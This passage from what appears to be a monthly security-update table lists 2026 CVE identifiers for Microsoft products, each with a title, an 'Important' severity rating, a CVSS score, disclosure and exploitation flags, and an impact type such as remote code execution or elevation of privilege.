(Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  